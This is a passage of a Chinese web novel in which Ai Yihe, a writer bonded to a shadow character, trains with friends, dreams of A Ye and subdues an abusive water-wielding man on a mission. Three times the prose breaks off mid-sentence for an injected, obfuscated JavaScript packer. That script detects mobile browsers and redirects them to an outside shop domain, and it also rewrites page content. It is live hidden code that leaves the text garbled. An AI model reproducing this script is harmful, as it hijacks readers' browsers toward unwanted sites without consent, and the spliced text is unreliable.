最后,她推开了客卧的门。 墙是萌芽的新绿,跟她想象的一样。 那种绿很嫩,像春天刚冒头的草。艾以何站在门口,看着那片绿色,她叹了口气。 阿野到现在还没动静。 也是,主角本来就没有迁就作者的义务。 艾以何站在客卧门口,站了很久,最后轻轻合上门。 走了两步,她又停下来。 回头看着那扇门,仿佛有一个人正抵在门背后的错觉。 她转身离开。 艾以何回到客厅,在沙发上坐了一会。 手机震了。 宿舍区居然有信号,但似乎是局域网,只能这片区域的人互相联系。 林骁的消息:【出来逛吗?熊猫喊我带你俩一起去参观道具班,就差你了。】 艾以何看了主卧一眼,打字:【我去超市一趟,待会见。】 发完,她站起来。 脚下的影子不知什么时候不睡了,回到了她身边,贴着她。 艾以何低头看了一眼。 “我们出发?” 影子没有回答,她也没再说话,推门出去。 超市不大,但东西很全。 艾以何走到零食区,在货架上找到了那款心心念念的巧克力。之前一直没补到货,剩下的半块她一直没舍得吃。 结果还是没给到艾莉西亚。 她把货架上剩下的全扫进购物篮,又看到相框,忍不住拿起来,最后还买了三个枕头。 艾以何把购物篮放上收银台,小精灵从自己的椅子上跳下来:“一共205元,你的免费额度还剩595元,超过需要用积分充值哟。” 她点点头,道了声谢。结完账出来,没看到林骁。艾以何没忍住,坐在超市门口的椅子上,掰下一块巧克力,放进嘴里。 牛奶的甜味在舌尖慢慢化开。 她的两只脚轻晃起来,眼睛眯成一条缝。就在这时,她听见了脚步声。 艾以何抬头。 林骁、熊猫、周婉,三个人站在五米外,就那么看着她。 艾以何愣了一秒。 耳朵瞬间红透。 她下意识把巧克力藏到身后。 林骁张嘴要说话。 艾以何:“闭嘴!” 周婉挑眉,熊猫捂住嘴憋笑。林骁从兜里掏出一瓶饮料递过去:“配这个喝,绝对更好吃哦。” 艾以何看着那瓶饮料标签,又是林骁自产自销。她瞪他一眼,小声说:“谢谢,心意领了。” 熊猫在旁边悠悠地来了一句:“难得见你爱吃,姐姐下次也给你买点哦。” 艾以何耳朵更红了,站起来就走。 身后传来三人的笑声。 她走得更快了。 艾以何把买的东西放回去宿舍,就跟着他们去道具班,那里比超市热闹多了。 各种稀奇古怪的道具堆了一地。林骁一眼看中一个滑雪板,拿起来就往脚上套。 “这能飞。”道具班的学员解释,“但非常晃,最好把自己捆在下面。” 林骁已经起飞了。 三秒后,他整个人挂在板子下面,像一面迎风招展的旗子。熊猫在旁边哈哈大笑,猛地跳起来,把他解救了。 周婉没管他们两个,拿起张发光的纸研究。 道具班学员说:“这叫‘我叫你一声敢不敢答应’。嘿嘿,灵感从哪里来你知道的。你在纸上写下一个人的名字,那个人附近就会出现一张纸,上面有你的字。” 周婉眼睛一亮:“那很方便啊。” “缺点是,如果你俩之间没有足够的感情基础,比如你随便写个张伟,可能同时有上千个张伟都能看到你写的情书,然后有很多人都可以回你的信息。” 提到感情的周婉放下纸,兴致缺缺:“那不就是群发短信?还是必须充值才能用的那种。” 艾以何却拿起一张,想了想,在上面写了两个字: 【阿野】 等了三秒。 纸的下方什么都没出现。 她又等了三秒。 还是没有。 艾以何把纸揉成一团,塞进口袋。 周婉在旁边看见了,什么都没说。逛完道具班,几个人坐在外面的台阶上休息。 天气很好,清风拂过脸上,有一种让人放松的清爽。 “有件事……很冒昧问一下,你们觉醒的契机是什么?”艾以何说。 周婉看她一眼:“你不是已经觉醒了吗?” “创作班不一样。”熊猫倒是很理解,“你们是直接变,我们不一样,是需要同步自己写的角色。比如我现在这副模样,就是我小说主角的最终进化版。” 周婉又看了艾以何一眼,想了想:“我当时很累。加班加了三天,刚好电视在放纪录片。我看到两只白鹭在打架,飞来飞去,自由得要命。” 她顿了一下:“我就想,真好啊,然后就真的变成了鸟。其他我也不清楚,希望对你有帮助。” 熊猫点点头:“我也是正在写文,太爱我家主角了,然后就变成它啦。” 轮到林骁。 他笑了一下:“我就算了,没啥好说的。” 艾以何没说话,但林骁攥着饮料瓶的手很用力,瓶身都快捏变形了。 “谢谢,我明白了。”艾以何把林骁的异样记住心里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482375|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等人各自散了,她走过去,站在林骁旁边。 林骁抬头:“咋?” 艾以何张了张嘴,最后还是说出来:“你刚才……没事吧?” 林骁愣了一下。 然后他笑:“我能有啥事啊。” 艾以何看着他的眼睛,看了两秒。他没躲,但也没多解释。 艾以何没再问。 下午是培训中心的基础课,教非科班出身的学员如何去战斗、求生,并在课间播放了渊行者制造骚乱的教育警示片。 一班的作者都不爱看这个,他们宁愿去挨自己主角一顿暴揍。 对此,只能召唤不完全主角的二班,和只能借用能力,主角很难现身的三班都表示羡慕。 课上着上着就天黑了,小黑猫在动物班玩的很开心,那边还有大通铺可以让小动物们挤着睡。 它对艾以何喵喵喵,用行动表示让她过几天再来接它。 艾以何终于知道虎耳少女就是它们的班导,作为家长,她郑重的表示,自己会承担小黑猫所有的生活和学习费用。 她回到宿舍,洗了澡,换上睡衣,和影子一起躺在床上。 手机亮了一下,林骁在群里发:【明天第6期培训,谁去?】 熊猫也被拉进4人小群:【我我我!】 周婉:【看情况,我可能要回家一趟。】 艾以何没回。她把手机放到一边,侧过身。绿色的枕头在客卧,蓝色和黑色都在床上。 月光从窗帘缝隙里透进来,落在床上,她的影子安静地铺在那里,一动不动。 她想起白天那张纸上写的两个字。 【阿野】 对方没有回应。 她伸出手,指尖碰了碰黑色枕头上的影子。影子像水波一样凹进去,似乎在回应。 艾以何嘴角弯了一下。 她想起林骁上午的那个异常,她翻了个身,拿起手机,想发点什么。打了几个字,又删掉。 最后她只发了三个字: 【你有事】 林骁秒回:【?】 艾以何:【没事,晚安。】 林骁:【这么吊胃口要被吊路灯的知道不,行吧,晚安,冰——柜。】 林骁放下手机。 三秒后,手机又亮了。 林骁:【你知道吗?我们并不是这个世界的第一批觉醒者。】 艾以何盯着那行字,没过多久,林骁就把消息撤回了。 第一批。 那第一批去哪了? 她没回。 林骁也没再发。 房间里很安静,只有月光落在床单上。她把手机放到一边,重新侧过身。 “何露露。”她轻声说。 影子没动。 “你喜欢……这里吗?”艾以何抓紧蓝色的枕头,“虽然很危险,但是我很喜欢,和以前不一样了。” 影子慢慢变了。 不是波动,是凝聚,从床上立起来一小块,像一个人影的轮廓,就那么立了三秒。 非常费力的,从人影里面伸出一只手。 涂着紫色指甲油的手。 她迅速摸了摸艾以何的头,只碰了一下,就缩回去。 然后黑影重重的躺回床上。 艾以何愣住。 然后她嘴角弯了,“是的,有你陪着我。” “晚安。”她说。 过了很久,在她快要睡着的时候,脚边有什么东西轻轻蹭了蹭。就像安抚,也像回应。 艾以何没睁眼。 但她往那个方向挪了挪,然后她闭上眼睛,不知道过了多久,她开始做梦。 一个人坐到她的床边,距离看起来很近,实际上很远。 他开口了。 仿佛无数人声的叠加,清亮的少男、低沉的烟嗓、严厉的父亲、疲惫的旅者……这些组合成了他的声音。 “上次你就把我冻住了,地下城那个也不让我出来。有了她们,你还想见我吗?” 他突然卡顿,喉咙发紧,连咬字也变得笨拙,“是你要见我吗?” 那个能完美模仿任何恋人的声音,此刻却连一句甜言蜜语都说不流畅。 艾以何想回应,却发现自己无法睁眼也无法张嘴,这是一场独属于阿野的独角戏。 他说:“你头发变长了。” 艾以何拼命的、拼命的控制自己的身体,终于让眼皮抬了一下。 出现了依稀一条缝的视线。 她看到了阿野。 他的五官没有一处是锋利的。眉骨平缓,鼻梁挺直但不过分突出,唇形薄厚适中,下颌线柔和得几乎没有棱角。 这不是一张容易记住的脸,是一张可以随时融入任何记忆的脸。 他面对艾以何的注视,声音失去了目标,变得赤裸、脆弱、不知所措。 “你下次做梦的时候,能不能梦到我?” 他猛地起身。 “算了,不管你有没有梦到,我都会再来。”他话没说完,就消失了。 像一个落荒而逃的士兵。 他留下艾以何一个人,在梦里看着那片空荡荡的黑暗。 不久,她沉入无梦的深眠。 14. 不准说何露露的坏话 第二天艾以何醒来,在床边坐了很久。她把合影从包里拿出来,犹豫了一下,这才放进新买的相框里。 合影摆在了床头柜上,小女孩对她笑得很甜。 艾以何关门离开。 第6期培训开始之前,大家在食堂吃早饭。虽然都是免费的,师傅打饭的手也不会抖。 有人试图让粥里所有的葱和姜全部飘起来,有人压缩馒头失败,雪花炸满天空,旁边的人骂骂咧咧收拾残局。艾以何坐在角落里,边看他们边喝豆浆。 林骁笑嘻嘻地凑过来,端着餐盘,左右张望了一下:“周婉回家了,我落单了,求收留啊。” 艾以何看了他一眼,没说话。林骁一屁股坐在她对面,开始埋头扒拉炒面。 她的手机震了。 是王教官发的彩信。 【第5期培训评分表已下发,请各位学员查收。评分标准:5分制。3分以下建议重修。】 艾以何点开。 战斗能力:4 战斗意识:3.5 团队协作:2 成长潜力:5 平均分:3.6 下面还有一行字,王教官的亲笔点评。 【战斗能看,意识凑合,协作呢?你眼里有队友吗?】 艾以何盯着那个“2”。 “看啥呢?”林骁凑过来,然后噗地笑出声,“你们教官嘴好毒。” 艾以何抬眼看他。 林骁立刻道:“不是,我是说,这个评分标准有问题,团队协作这种东西怎么能量化呢?对吧?” 话音刚落,末日有花飘了过来。 她端着餐盘,翅膀半收着,脸上带着那种“我只是路过顺便看一眼”的高冷表情。但她的嘴角非常不明显地翘了一下。 “你才3.6分啊。”她慢悠悠地说,从口袋里掏出自己的手机,“看看我的。” 冷芳:3.1分。 末日有花迅速收起手机,轻咳一声:“评分标准有问题。” 林骁憋笑憋得肩膀发抖,道具班没有打分,他逃过一劫。 末日有花瞪了他一眼,又看向艾以何,用一种“我只是客观分析”的语气说:“还好你觉醒的是艾莉西亚。要是何露露,你的分数肯定比我还差。” 影子没动。 但艾以何的脸沉了下来。 熊猫刚端着餐盘走过来,看到她脸上阴沉的表情,整个人愣在原地。 末日有花也被艾以何的眼神钉住了。她翅膀下意识一抖,整个人往后飘了半米,但嘴上还在硬撑:“我说的是实话啊,何露露本来就比不上——” 话没说完。 食堂突然冷气四散,一股寒意从艾以何脚底漫开。她的影子边缘绷紧了,像一个等着主人松弦就射出去的利箭。 末日有花翅膀一振,直接飞到了天花板上。下一秒,她刚才站的地方,凭空出现了一朵巨大的花。 那朵花美得妖异,花瓣层层叠叠,颜色浓烈得像要滴下来,花心深处,一颗美人头正缓缓抬起。 它长着末日有花的脸,但放大了几倍,嘴角弯着,眼睛眯着,微笑着锁定艾以何。 ——是花明明。 影子的边缘绷得更紧了。 食堂里的温度似乎降了几度。周围的人纷纷停下筷子,扭头看过来。 熊猫终于反应过来,把餐盘一扔,直接跳到艾以何和那朵巨花之间。 “停停停!”她张开双臂,毛茸茸的身体把两边视线都挡住,“在食堂打架会扣分,看下墙上的守则,搞不好重修的!” 艾以何没动。 她瞪着那朵花。花明明也微笑着看她。影子还在绷着。 末日有花在天花板上喊:“你让她先收!” “艾以何!”熊猫回头,“你冷静点。她嘴贱,但罪不至死。” 艾以何沉默了两秒。 影子的边缘慢慢松弛了一点,但还没完全收回去。 就在气氛僵持的这一刻,一道柔和的金光从天而降。 “神说,此地禁止斗争。” 小白文之神不知什么时候站在了旁边,手里捏着一根具现出来的金色权杖。 他冠冕端正,表情庄严,如果忽略他嘴角沾着的橘子酱的话。 金光笼罩了艾以何、末日有花、熊猫,还有那朵巨大的花明明。那光不刺眼,反而像温水流过,让人紧绷的神经一点点放松下来。 仿佛有天堂的小天使在耳边吟唱。 花明明在金光中挣扎了一下,终究还是慢慢变淡。花瓣一片片消散,美人头的笑容变得模糊。 小白文之神小声嘟囔:“昨晚背自己的原著果然有用……” 艾以何深吸一口气,垂眼。影子终于松弛下来,缩回她脚边,贴着她不动。 末日有花从天花板上落下来,看着那片消散的花瓣,表情有点恍惚。她伸出手,想去够,却只抱住了空气。 她愣愣地站在那里,看着自己空空的怀抱,好几秒没动。 然后她转身,一言不发地走了。 熊猫叹了口气:“不欢而散啊这是。” 小白文之神收起权杖,扶了扶金冠:“没事,她们需要时间。”然后低头看了一眼盘子里的吐司,“完了,冷掉了。” 林骁笑出来:“哈哈哈哈哈哈哈——” 艾以何瞪了他一眼。 林骁:“我是笑小白哥。” 第6期培训正式启动,出发地点依旧在老地方。 这次艾以何有心思观察这个地下基地。说是地下室,其实是地下三层。电梯门打开,一条长长的走廊延伸出去,两边是一扇扇厚重的金属门。 门上挂着不同的牌子:模拟训练室、战术推演室、档案室、禁入区…… 走廊尽头有一扇双开门,敞开着,里面传来人声。 艾以何走进去,一眼就看到了张鹰。 她正和王教官站在角落里说话,脸上的表情不像平时那样懒洋洋的。王教官在说什么,她听着,偶尔点一下头,眉眼间的神色认真得几乎陌生。 但学员一进来,她就像被按了开关,瞬间恢复了那副“谁都欠我八百万”的样子。 她拿着平板,懒洋洋地点名。 “3队,艾以何,林骁,万芊芊。” 林骁先是说“好耶,我们在一队”,然后一愣。 他扭头看艾以何:“万芊芊是谁?” 艾以何没说话,只是往旁边指了指。 熊猫站在那里,一只手捂着脸,耳朵红得发亮。林骁瞪大眼睛:“熊猫?” 熊猫从指缝里露出半只眼睛,小声说:“是我啦。” “万芊芊?” “不要喊我这个名字!”熊猫一巴掌拍他背上,林骁边笑边咳嗽。 其他不认识名字的教官走过来,把其他学员认领走了。人群很快分成几个小队,各自跟着教官站好。 王教官站在前面,微笑着环视一圈,那笑容难得真诚了几分。 “今天下午,均分3.5以上的学员都能参与首都的救援任务。”他说,“训练室开放,其他同学根据我的建议,自行调整。” 他顿了顿,视线落在艾以何身上。 “请各位学员认真看点评,早日提升弱项。” 艾以何没说话,但点了点头。 张鹰领着艾以何三人往外走。 他们出了基地,空地上停着一辆军用皮卡,银白色的,不是张鹰之前的那辆,车身上还有些刮痕。 张鹰打开车门,跳上驾驶座,又摇下车窗,嚼着口香糖居高临下地看着他们。 “又见面了,872。” 艾以何站在车门前,没动。 这次他们是一起出任务,不再是护送与被护送的关系,张鹰这样戏谑的语气让她感觉不舒服。 何露露在看着她。 艾以何想着,自己不再是12岁了。 她看着张鹰:“我有名字。” 张鹰嚼口香糖的动作顿了一下。她看着艾以何,眼神里有一点意外。然后她笑了。 “很高兴能跟你一起执行任务,”她说,一字一顿,“艾——以——何。” 艾以何“嗯”了声,拉开车门上车。 熊猫在后面戳林骁:“这两人之前有事吗?872是什么。排名吗?” 林骁也压低声音:“张鹰平等的惹了所有人,对,艾以何第一次参战就排名872。” “872?第3期学员第一名才963!”熊猫的圆眼瞪的老大,声音一下拔高。 熊猫趴在车窗上,被张鹰瞪了一眼,才磨磨蹭蹭的上车。然后她知道了什么叫“张鹰的车速”。 十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482376|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟后,车停在半路。 熊猫推开车门,踉跄着下来,扶着车头,感觉自己灵魂还在后面追。她脸色发白,眼睛发直。 直到她注意到了林骁。 林骁蹲在路边,提着一个垃圾袋,正大吐特吐。 熊猫突然觉得自己又好了。 张鹰靠在车门上,嚼着口香糖,等他吐完。 艾以何掏出手机。 有信号了。 未接来电:何晓慧(3个) 短信:何晓慧(4条) 她点开。 【一天前】 你到首都了吗? 【18小时前】 为什么不接电话,你现在安全吗?是不是受伤了? 【17小时前】 我去问了避难所的工作人员,他说你可能去培训了,吓我一跳。 【17小时前】 我还是很担心,能回消息的时候回我一个好吗? 艾以何盯着那些字,眼睛突然有点酸。 她打字: 【到了。没受伤。现在在执行任务,晚点给你打电话】 发送。 对方秒回。 【好的,注意安全】 艾以何把手机贴在心口。等她收回手机的时候,余光瞥见林骁。 他也皱着眉,低着头,手指在屏幕上飞快地打字。手机对面的人似乎已经不耐烦了,直接给他打电话。 林骁不敢不接,小声的说了声。“哥,我知道了。”马上挂掉。 她收回视线。 林骁把手机塞进口袋,抬起头没笑,“走吧?” 熊猫拍了拍手掌,提醒两位队友。张鹰已经靠在车门上,表情明显不耐烦了。 她嚼着口香糖,视线扫过三个人,最后在林骁那里顿了顿。 “王小可对你们……三个的评价很好。”她说,“所以安排我来带你们。” 她顿了顿,嚼了一下口香糖。 “等你们再强点,就可以独立猎杀渊行者了。” 熊猫正假装掏耳朵:“啥?我幻听了?怎么听到组织让我们去杀渊行者?” “万芊芊。” 张鹰叫她全名了。 熊猫条件反射立正。 “你不愿意,我现在就送你回去。”张鹰冷笑一声,“谁跟你一样,死皮赖脸混了3期培训还不去分配的地方上班。要全部人跟你一样,这个国家垮了算了。” 熊猫瞬间换上一副讨好的笑脸:“张姨,我错了——” “少凑近乎。” 张鹰一脚抵住熊猫凑上来的胸脯,力度拿捏得刚刚好。不重,但恰好能把她踹得往后退了两步。 “要么喊队长,要么喊领导。再卖萌揍你。” 熊猫捂着胸口退后两步,小声嘀咕:“明明小时候还让我喊姨姨呢,现在就成陌生人了……” 张鹰耳朵尖:“你说什么?” “没什么没什么!”熊猫疯狂摆手。 林骁在旁边咽了咽口水。 他算了一下:自己好像从来没有被张鹰踹过。那之前她对他和周婉,居然还算好的? 艾以何没参与这场闹剧。 她在观察。 熊猫和张鹰。首都人,亲戚?张姨? 她把这个疑问记下。 张鹰拍了拍手:“行了,上车。任务简报在路上说。” 林骁重新拿上一个干净的垃圾袋,放在身前,脸更白了。 熊猫拍了拍他的肩,语重心长:“习惯就好。” 林骁:“……我不想习惯。” 他顿了顿,大概是脑子被吐空了,下意识继续:“我哥以前也老这么说。” 说完他就后悔了。 但艾以何已经听见了,脚步一顿,回头看他。 林骁马上恢复了笑嘻嘻的表情,钻进车里:“走啊,愣着干嘛?” 艾以何看着那扇关上的车门。她没开口,只是跟着上了车。张鹰发动引擎,皮卡轰鸣着冲了出去。 熊猫在后座死死抓着扶手,灵魂又开始追不上了。 林骁这次学聪明了,上车前先闭眼。 艾以何看着窗外飞速倒退的风景,想起刚才那条短信。 【注意安全】 她捏了捏自己的手指,忍不住露出一个小小的笑容。 15. 何露露说:“我的。” 车子停在高楼下面的时候,林骁仰头看了一眼,发出没见识的感叹:“哇,首都的楼就是不一样。” 熊猫在旁边疑惑:“就比我们宿舍高了点嘛。” 艾以何没说话。这栋楼三十多层,建筑线条简洁利落,玻璃幕墙、金属线条,和她以前住的完全不同。 张鹰靠在驾驶座上,嚼着口香糖,手里的平板正在更新信息。三秒后,她哼了一声。 “目标确认。”她把平板递给艾以何,“2栋27-8,一个女人的报警。说她前男友跑到她家里,限制她出门,进行虐待。本来接线员只当正常事件处理——” 她顿了顿,嚼了一下口香糖。 “但天网检测到,这片区域的异常波动超标。一线人员排查了,确认她前男友是未登记的觉醒者。” 林骁凑过来看平板,然后倒吸一口凉气:“水系的?这玩意在室内打,岂不是到处都是武器?” “所以才叫你们来。”张鹰抽回平板,指了指另一栋楼,“我去那找狙击点,你们尽量不要让目标跑到封闭的地方。” 她看向熊猫:“万芊芊,你负责外围,防止群众受到伤害。有突发情况及时汇报。” 熊猫立正:“收到!” 张鹰又看向林骁:“你待命,随时准备救援。饮料储备够了吗?” 林骁拍了拍背包:“管够。” 最后,张鹰的视线落在艾以何身上。 她偏着头,嘴角带着那种熟悉的、让人不太舒服的笑。 “艾以何,你一个人伪装外卖员去敲门,没问题吧?” 艾以何看向她。 张鹰的眼神里没有挑衅,但有一种“我看你敢不敢接”的意味。 艾以何想了想,问:“最多能造成几级伤残?” 张鹰愣了一下。 “那个前男友身上有没有人命?”艾以何继续问,“可以杀了吗?” 张鹰第一次在她面前露出惊讶的表情。她失笑:“年轻人,杀心不要那么重嘛。” 艾以何没说话,但她的眼神说明了一切。她是真的在确认规则。 熊猫在旁边幽幽地来了一句:“队长,偏心哦。只把锻炼的机会交给排名最高的人。” 张鹰额头的青筋跳了一下。 “万芊芊。” 熊猫条件反射往后退了一步。 “你再多讲一句,我就让你去装环卫收垃圾。” 熊猫低头看了一眼自己毛茸茸的身体,小声嘀咕:“这身皮毛去收垃圾,会沾得浑身是味道,还不好洗……” “你大声说?” 熊猫乖巧地闭嘴了。 林骁举手。 张鹰给了他一个眼神——说。 “队长,”林骁一脸真诚,“我也是,我太想要进步了。” 张鹰双手抱胸,看着他的眼神很复杂,像是想把王教官拎出来揍一顿。她严重怀疑,王小可是把他最不想带的学员全塞给自己了。 “可以啊。”她语气平静得可怕,“这次回去我就给你申请异空间战斗。多去几次,你就攒够积分升级技能了。” 熊猫在旁边幽幽补充:“前提是还没死。” “万芊芊!” “知道了知道了。”熊猫敷衍地应着,宽大的身体搂住林骁,拖着他就走,“走走走,我刚才看到一个好位置,既能休息还能盯梢。” 两人吵吵闹闹地消失在楼道口。 人都走了。 艾以何站在原地,这是避难所初见以后,她第一次和张鹰单独相处。 张鹰的眼神锐利了一点。 “这两天你待在基地,应该感觉到你不一样了吧。” 艾以何愣了下:“啊?我排名比较高吗?” 张鹰一时间不知道她是在装傻,还是说的真心话。 她有点被逗笑了。 “迄今为止,”她一字一顿,“你是唯一一个能更改战场规则的人。” 艾以何的心跳漏了一拍。 “管理员告诉我们以后,领导第一时间就封锁了消息。”张鹰的语气平静,“她说要给你好的成长环境。所以,你还能参加培训,跟万芊芊这种潜力有限的觉醒者一起玩过家家。” 艾以何想起艾莉西亚。 更改规则,是因为她强行突破同步率到100%吗? 艾以何笑了,隐隐带着骄傲。 艾莉西亚,果然是这世上独一无二的存在。 张鹰重新戴上墨镜,遮住了那双突然变得复杂的眼睛。 “好了,去吧。” 艾以何从一线人员手里接过外卖。 袋子是热的,里面装着一份酸菜鱼、一碗米饭、一瓶可乐。是报警人手机号码点的。 艾以何走进电梯,按下27楼。 电梯上升的时候,她低头看了一眼脚下的影子。 影子安静地贴着地面,感觉到她有点紧张,还挤出一个触角,想帮她提那个口袋。 艾以何被逗乐了。 电梯门开了,8号门就在左转第1间。 艾以何走过去,站在门口,深吸一口气,敲门。 “谁啊?”门后面传来男人的声音,警惕。 “你的外卖。”艾以何对着猫眼,举了举手里的外卖袋。 门缝里传来悉悉索索的声音。 三秒后。 对方说:“放门口吧。” 艾以何依言放下,然后转身,落脚加重,发出明显的脚步声。 她按了电梯按钮,然后拐进楼梯间。影子没有跟着她走,留在了那扇门下面。 “叮!”电梯门打开了。 电梯自动合拢。 一分钟。 两分钟。 门吱呀一声开了。 一只手伸出来,去拿地上的外卖。 艾以何探头,看到是男人的手。 她心念一动。 影子直接扑上去! 冰霜从影子里炸开,沿着门框迅速蔓延,咔咔咔,门洞被冰层堵住,无法合拢。 “靠!”男人骂了一声,猛地拉开门,冲出来四处张望。 他看到了艾以何。 那一瞬间,艾以何也看清了他的脸。三十出头,胡子拉碴,眼睛里有血丝。他的双手已经泛起水光,空气里的水分正在向掌心凝聚。 “你也是觉醒者?”男人咧嘴笑了,全是狰狞,“来的好,我还没杀过觉醒者呢!” 他一挥手,楼道里的消防栓爆开!水柱冲天而起,在半空中凝成无数道水箭,齐刷刷朝艾以何射来! 艾以何侧身,冰剑在掌心成型,一剑斩断最近的几根水箭。但更多的水箭从四面八方涌来。楼道太窄了,根本躲不开! 冰霜从她脚底扩散,在半空铺开一层薄冰。水箭撞上来,瞬间被冻住,噼里啪啦掉了一地。 男人咬牙,整个人融进了水里。他的身体变成了一团透明的液体,沿着墙壁、天花板、地面,流动的飞快。 艾以何根本找不到他在哪里。 下一秒,水团从她背后凝成拳头,狠狠砸中她后背! 艾以何往前踉跄了两步,后背火辣辣地疼。 “太弱了。”男人得意的声音从四面八方传来,“你这水平,真的太弱了。” 水团再次凝聚,这次是一把刀的形状,朝她脖子砍来! 艾以何举剑,脚下突然一滑。 是水,整个楼道地面已经全是水了。 她摔倒的瞬间,影子自己动了。黑色的影子从水面上立起,像一面墙,挡在她和那团水之间。 水刀砍在影子上,瞬间被吞没。 影子没停,冲了过去,直接勒住水里的人形轮廓。 “什——什么?!”男人的声音变了。 影子在收紧。 他能化水,但影子不是液体,不是他能控制的东西。它只是勒,用力地勒,勒得他不得不从水里显形。 男人的身体重新变回人形,脸色涨红,脖子上青筋暴起。 影子勒着他,越来越紧,他的生死就在它的一念之间。 艾以何看着这一切。 这就是,力量吗? 她恐惧。 她欣喜。 她警惕。 【当前同步率:41%——45%——49%】 数字持续往上跳。 艾以何闭上眼睛。她能感受到了影子的愤怒,想要撕碎一切的欲望。 但除此之外,还有—— 期待。 何露露留着这个猎物,是在等她一起动手。 艾以何伸出手。 下一秒,她感觉到了。影子的轮廓出现在她掌心里,像是有实体一样。 她握住了它。 艾以何睁开眼睛。 影子在她的想法下,对男人的桎梏松了一点,又紧了一点。它在回应她,也在等她下命令。 “现在不能杀他。”艾以何说。 影子动了,放开男人的脖子,转为限制四肢。 冰霜从影子里蔓延出来,冻住男人的手腕、脚踝、脖子。男人瞪大眼睛,但冰霜已经封住了他所有能化水的路径。 他连话都不能说了。 艾以何看着自己的手,看着影子在她的掌心里轻轻颤动。 同步率停在了49%。 男人的脸开始发紫,眼睛翻白,眼看就要不行了。 就在这时,8号门里又传来悉悉索索的声音。报警人一直在门后看,当她发现男人快死了,终于忍不住了。 她冲了出来,手里拿着一把剪刀,嘴里喊着:“放开他!你放开他!”直直朝艾以何扑过来! 艾以何侧身,剪刀擦着她的肩膀过去。她皱眉:“你疯了?是你报的警。” 女人没听,转身又扑过来。 艾以何正要动手—— “砰!” 一声枪响。 是从隔壁楼传来的。 子弹划破空气,朝这边飞来。张鹰瞄准的是那个女人的腿。 但子弹还没进入这栋楼,艾以何脚下的影子就炸了。黑色的影子从地面弹起,像一道幕布,在半空截住了那颗子弹! 子弹消失了。 下一秒,影子沿着弹道的方向狂涌而出,瞬间跨越两栋楼,狠狠撞向张鹰所在的那扇窗户! 窗户炸裂,玻璃四溅。张鹰的身影在里面晃了一下,狙击枪差点脱手。那些缠绕在窗框上的阴影,像是活物一样蠕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482377|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,带着明显的怒意。 “滚……”一道声音从影子里传出来。嘶哑的,破碎的,像是很久没有开口的人,硬生生从喉咙里挤出来的声音。 “她——我的。” 张鹰稳住身形,看着那些缠绕在自己周围的阴影。一道影子勒住她的脖子,勒得很紧,已经渗出血丝。 张鹰没挣扎。 她看着那些影子,她看过艾以何的档案,知道那三本小说的主角设定。 “何露露。”她语气平静,仿佛被影子勒住的人不是自己。 阴影翻涌得更厉害了。 张鹰沉默了两秒,然后她笑了。 “行,你的。”她把枪收起来,举起双手,“绝对不抢。” 阴影翻涌了几下,像是在判断她是不是在说谎。 最后,它们慢慢缩回去了。缠绕在窗框上的黑影也如潮水般退去,缩回对面那栋楼里。 张鹰站在原地,摸了摸自己的脖子。伤口很深,再用力一点,可能就…… 她吹了声口哨。 张鹰再看了一眼对面的楼,她给艾以何的评级低了。 刚才那些影子缠绕在她身上的时候,何露露有能力杀她。 但没杀。 是一条有项圈的好狗。 张鹰摸了摸下巴,从医疗箱里摸出绷带,往脖子上一缠。绷带亮了一下,然后逐渐暗淡。 张鹰重新端起狙击枪,瞄准对面的方向。 室内。 那个女人还在挣扎,剪刀乱挥。艾以何小心控制着冰,冻住她的脚踝、膝盖和手腕。 女人摔倒在地上,动弹不得,只能嘴上骂。 艾以何低头看她,声音很平静:“他关着你,这是限制人身自由,你知道吗?” 女人尖叫:“你懂什么!他是我男人!” 艾以何沉默了两秒。 她突然想起很久以前,她在网上看到的一个词。 斯德哥尔摩综合征。 “那你就继续爱他吧。”她说,冰霜蔓延,彻底冻住对方的嘴。 女人只剩呜呜的声音。 艾以何转身看向那个男人,影子回来了,把他勒得快翻白眼。 “行了。”她说。 影子顿了一下,松开了一点。男人瘫在地上,大口喘气。 一线人员冲进来。有人去控制男人,有人去搬运冰块,有人在拍照取证。 为首的人走到艾以何面前,郑重地点头:“同志,感谢你的配合。这次任务很顺利,没有人员伤亡。” 艾以何摇了摇头:“应该做的。” 然后她不知道该说什么了,只好盯着自己的脚尖。 好在熊猫和林骁及时冲了进来。 熊猫手里举着两根雪糕,蹦蹦跳跳地跑到她面前:“老艾,我看到了你喜欢的那个牌子,他们家有雪糕哦!” 林骁跟在后面,一边吃一边嘶嘶吐白气,还不忘竖起大拇指:“我还以为张队故意为难你,结果没想到你真的可以。” “那可不。”熊猫高兴得很,跟夸自己似的,“可人是我们三班的第一名。” 